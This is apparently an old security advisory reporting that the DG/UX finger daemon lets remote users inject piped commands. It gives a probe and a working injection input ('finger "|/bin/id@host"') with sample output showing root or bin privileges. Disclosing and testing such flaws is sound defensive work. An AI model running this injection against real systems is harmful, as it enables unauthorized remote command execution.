The finger daemon that ships with dgux will allow a remote user to pipe
commands, often with uid root or bin.
To check for this vulnerability, simply use the RFC compliant syntax;
finger /W@host
If it returns something like this, it may be vulnerable;
Login name: /W In real life: ???
To see the uid in.fingerd is running as, try this;
finger "|/bin/id@host"
Often, you will see something like this;
uid=0(root) gid=0(root)
or;
uid=2(bin) gid=2(bin) groups=2(bin),3(sys),5(mail)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= George Imburgia =
= Network Specialist, Computer Services =
= Office of the President =
= Delaware Tech =
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=